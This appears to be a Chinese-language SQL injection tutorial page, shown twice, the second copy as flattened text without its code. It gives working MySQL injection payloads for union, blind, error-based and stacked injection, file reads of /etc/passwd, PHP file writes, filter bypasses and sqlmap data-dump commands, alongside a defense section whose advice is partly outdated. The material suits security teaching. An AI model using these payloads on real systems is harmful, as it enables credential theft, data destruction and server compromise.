SQL注入
字数 1583 2025-08-11 08:35:36

SQL注入全面教学文档

0x01 SQL注入形成原因

基本概念

SQL注入是由于程序开发过程中不注意规范书写SQL语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些SQL语句正常执行。

产生条件

  1. 使用字符串拼接方式构造SQL语句
  2. 不安全的数据库配置:
    • 对查询集不合理处理
    • 对SQL查询语句错误时不当处理,导致错误信息暴露在前端
  3. 过度信任用户输入:
    • 未过滤用户输入的恶意数据
    • 未对用户可控参数进行足够过滤便将参数内容拼接到SQL语句中
  4. 直接将用户输入数据当做SQL语句执行

0x02 SQL注入危害

  1. 数据库信息泄露:用户隐私信息泄露
  2. 网页篡改:通过操作数据库对特定网页进行篡改
  3. 网站挂马:将恶意文件写入数据库,嵌入网马链接
  4. 数据库恶意操作
    • 数据库服务器被攻击
    • 管理员账户被篡改
    • 数据遭到破坏
  5. 文件系统操作
    • 列取目录、读取/写入shell文件
    • 获取webshell,远程控制服务器
  6. 执行系统命令:远程命令执行,破坏系统

0x03 SQL注入检测方法

判断是否存在SQL注入

  1. 使用漏洞扫描工具:AWVS、Xray、Nessus、AppScan等
  2. 手动测试
    • 测试各种特殊符号,观察是否有过滤
    • 观察是否有报错信息

判断注入点

  1. and 1=1页面正常,and 1=2页面错误 → 可能存在注入点
  2. 观察输入数据是否带入数据库执行(页面是否改变)

0x04 SQL注入流程

  1. 判断数据类型(数字型/字符型)
  2. 求闭合字符
  3. 选择注入模式
  4. 爆数据库
  5. 爆表名
  6. 爆列名
  7. 爆字段名
  8. 读取敏感数据

0x05 常见SQL查询项

  • database() - 查询数据库名字
  • version() - 查看数据库版本
  • user() - 查看当前用户
  • @@version_compile_os - 查看操作系统
  • @@datadir - 数据库路径

0x06 注入技术详解

布尔盲注

适用于页面没有回显数据但语句错误会回显的情况。

示例语句

?id=1' and length((select database()))>9--+  # 判断数据库名长度
?id=1' and ascii(substr((select database()),1,1))=115--+  # 逐个判断字符

判断表名

(select count(table_name) from information_schema.tables where table_schema='security')>5
?id=1' and length(select table_name from information_schema.tables where table_schema='security' limit 0,1)>13--+

联合注入

适用于有回显的情况。

步骤

  1. 判断列数:
    ?id=-1' order by 5--+
    
  2. 判断回显列:
    ?id=-1' union select 1,2,3--+
    
  3. 查询数据库信息:
    ?id=-1' union select 1,database(),version()--+
    
  4. 查询所有数据库名:
    union select 1,2,group_concat(schema_name) from information_schema.schemata--+
    
  5. 查询表名:
    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
    
  6. 查询列名:
    ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
    
  7. 查询数据:
    ?id=-1' union select 1,2,group_concat(username,id,password) from users--+
    

宽字节注入

原理:GBK编码中一个中文字符占2个字节,UTF-8中占3个字节,导致转义字符被"吃掉"。

条件

  1. 数据库编码为GBK,PHP使用UTF-8
  2. 使用addslashes()函数

示例

%df'  # 测试宽字节注入

报错注入

updatexml函数

?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e),2)--+

extractvalue函数

extractvalue(1,concat(0x7c,version()))--+

floor函数

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

堆叠注入

原理:利用分号执行多条SQL语句。

示例

id=1;delete from users  # 查询后删除表

0x07 文件读写操作

读取文件

load_file('/etc/passwd')

写入文件

?id=-1' union select 1,'<?php phpinfo() ?>',3 into outfile 'd:\\x.php'--+

0x08 绕过技术

  1. 编码形式/宽字节注入
  2. 更改提交方式
  3. 大小写混合
  4. 双写绕过
  5. 解密编码
  6. 注释符混用
  7. 等价函数替换
  8. 特殊符号混用
  9. HTTP参数污染
  10. 垃圾数据溢出

0x09 防御措施

  1. 开启magic_quotes_gpc和magic_quotes_runtime设置
  2. 使用addslashes进行SQL语句转换
  3. SQL语句书写不省略双引号和单引号
  4. 过滤关键词:update、insert、delete、select、*
  5. 提高数据库表和字段命名技巧
  6. 设置register_globals为off
  7. 控制错误信息,不输出到浏览器
  8. 使用预编译语句(PDO/prepared statements)
  9. 最小权限原则
  10. 输入验证和过滤

0x10 自动化工具

sqlmap:Kali Linux自带工具,也可从GitHub下载

基本用法

sqlmap -u "http://example.com/?id=1" --dbs  # 枚举数据库
sqlmap -u "http://example.com/?id=1" -D database_name --tables  # 枚举表
sqlmap -u "http://example.com/?id=1" -D database_name -T table_name --columns  # 枚举列
sqlmap -u "http://example.com/?id=1" -D database_name -T table_name -C column_name --dump  # 导出数据

总结

SQL注入是Web安全中最常见也最危险的漏洞之一。理解其原理、掌握各种注入技术、熟悉防御方法,对于安全从业人员至关重要。本文档涵盖了从基础概念到高级技术的全面内容,可作为SQL注入学习和研究的参考手册。

SQL注入全面教学文档 0x01 SQL注入形成原因 基本概念 SQL注入是由于程序开发过程中不注意规范书写SQL语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些SQL语句正常执行。 产生条件 使用字符串拼接方式构造SQL语句 不安全的数据库配置: 对查询集不合理处理 对SQL查询语句错误时不当处理,导致错误信息暴露在前端 过度信任用户输入: 未过滤用户输入的恶意数据 未对用户可控参数进行足够过滤便将参数内容拼接到SQL语句中 直接将用户输入数据当做SQL语句执行 0x02 SQL注入危害 数据库信息泄露 :用户隐私信息泄露 网页篡改 :通过操作数据库对特定网页进行篡改 网站挂马 :将恶意文件写入数据库,嵌入网马链接 数据库恶意操作 : 数据库服务器被攻击 管理员账户被篡改 数据遭到破坏 文件系统操作 : 列取目录、读取/写入shell文件 获取webshell,远程控制服务器 执行系统命令 :远程命令执行,破坏系统 0x03 SQL注入检测方法 判断是否存在SQL注入 使用漏洞扫描工具 :AWVS、Xray、Nessus、AppScan等 手动测试 : 测试各种特殊符号,观察是否有过滤 观察是否有报错信息 判断注入点 and 1=1 页面正常, and 1=2 页面错误 → 可能存在注入点 观察输入数据是否带入数据库执行(页面是否改变) 0x04 SQL注入流程 判断数据类型(数字型/字符型) 求闭合字符 选择注入模式 爆数据库 爆表名 爆列名 爆字段名 读取敏感数据 0x05 常见SQL查询项 database() - 查询数据库名字 version() - 查看数据库版本 user() - 查看当前用户 @@version_compile_os - 查看操作系统 @@datadir - 数据库路径 0x06 注入技术详解 布尔盲注 适用于页面没有回显数据但语句错误会回显的情况。 示例语句 : 判断表名 : 联合注入 适用于有回显的情况。 步骤 : 判断列数: 判断回显列: 查询数据库信息: 查询所有数据库名: 查询表名: 查询列名: 查询数据: 宽字节注入 原理 :GBK编码中一个中文字符占2个字节,UTF-8中占3个字节,导致转义字符被"吃掉"。 条件 : 数据库编码为GBK,PHP使用UTF-8 使用addslashes()函数 示例 : 报错注入 updatexml函数 : extractvalue函数 : floor函数 : 堆叠注入 原理 :利用分号执行多条SQL语句。 示例 : 0x07 文件读写操作 读取文件 : 写入文件 : 0x08 绕过技术 编码形式/宽字节注入 更改提交方式 大小写混合 双写绕过 解密编码 注释符混用 等价函数替换 特殊符号混用 HTTP参数污染 垃圾数据溢出 0x09 防御措施 开启magic_ quotes_ gpc和magic_ quotes_ runtime设置 使用addslashes进行SQL语句转换 SQL语句书写不省略双引号和单引号 过滤关键词:update、insert、delete、select、* 提高数据库表和字段命名技巧 设置register_ globals为off 控制错误信息,不输出到浏览器 使用预编译语句(PDO/prepared statements) 最小权限原则 输入验证和过滤 0x10 自动化工具 sqlmap :Kali Linux自带工具,也可从GitHub下载 基本用法 : 总结 SQL注入是Web安全中最常见也最危险的漏洞之一。理解其原理、掌握各种注入技术、熟悉防御方法,对于安全从业人员至关重要。本文档涵盖了从基础概念到高级技术的全面内容,可作为SQL注入学习和研究的参考手册。